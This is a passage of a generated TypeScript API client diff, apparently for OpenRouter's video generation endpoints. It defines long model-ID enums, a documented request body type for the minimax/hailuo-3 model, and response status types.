'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosMinimaxHailuo3RequestModelEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3RequestModelEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3RequestModelEnum] + +/** + * @description MiniMax: H3 (minimax/hailuo-3) — model-constrained video generation request. MiniMax H3 is a lightweight, open-weights video generation model from MiniMax. It is designed for precise multimodal editing and controlled content generation, including instruction-guided edits, text and brand rendering, and... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosMinimaxHailuo3Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosMinimaxHailuo3RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosMinimaxHailuo3RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosMinimaxHailuo3RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: aigc_watermark. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: '2K' + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosMinimaxHailuo3Options = { + body: OpenrouterPostVideosMinimaxHailuo3Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosMinimaxHailuo3Responses = { + '200': OpenrouterPostVideosMinimaxHailuo3Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosMinimaxHailuo3Response = + OpenrouterPostVideosMinimaxHailuo3Status200 + +export const openrouterPostVideosMinimaxHailuo3MaxStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosMinimaxHailuo3MaxStatus200StatusEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3MaxStatus200StatusEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3MaxStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosMinimaxHailuo3MaxStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosMinimaxHailuo3MaxStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosMinimaxHailuo3MaxRequestAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosMinimaxHailuo3MaxRequestAspectRatioEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3MaxRequestAspectRatioEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3MaxRequestAspectRatioEnum] + +export const openrouterPostVideosMinimaxHailuo3MaxRequestDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosMinimaxHailuo3MaxRequestDurationEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3MaxRequestDurationEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3MaxRequestDurationEnum] + +export const openrouterPostVideosMinimaxHailuo3MaxRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 